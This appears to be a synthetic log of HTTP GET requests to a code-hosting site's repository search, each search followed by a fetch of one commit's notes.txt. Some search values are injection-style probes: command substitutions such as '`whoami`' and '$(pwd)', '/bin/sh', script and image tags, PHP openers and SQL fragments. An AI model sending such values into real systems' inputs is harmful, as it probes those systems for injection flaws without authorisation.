{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
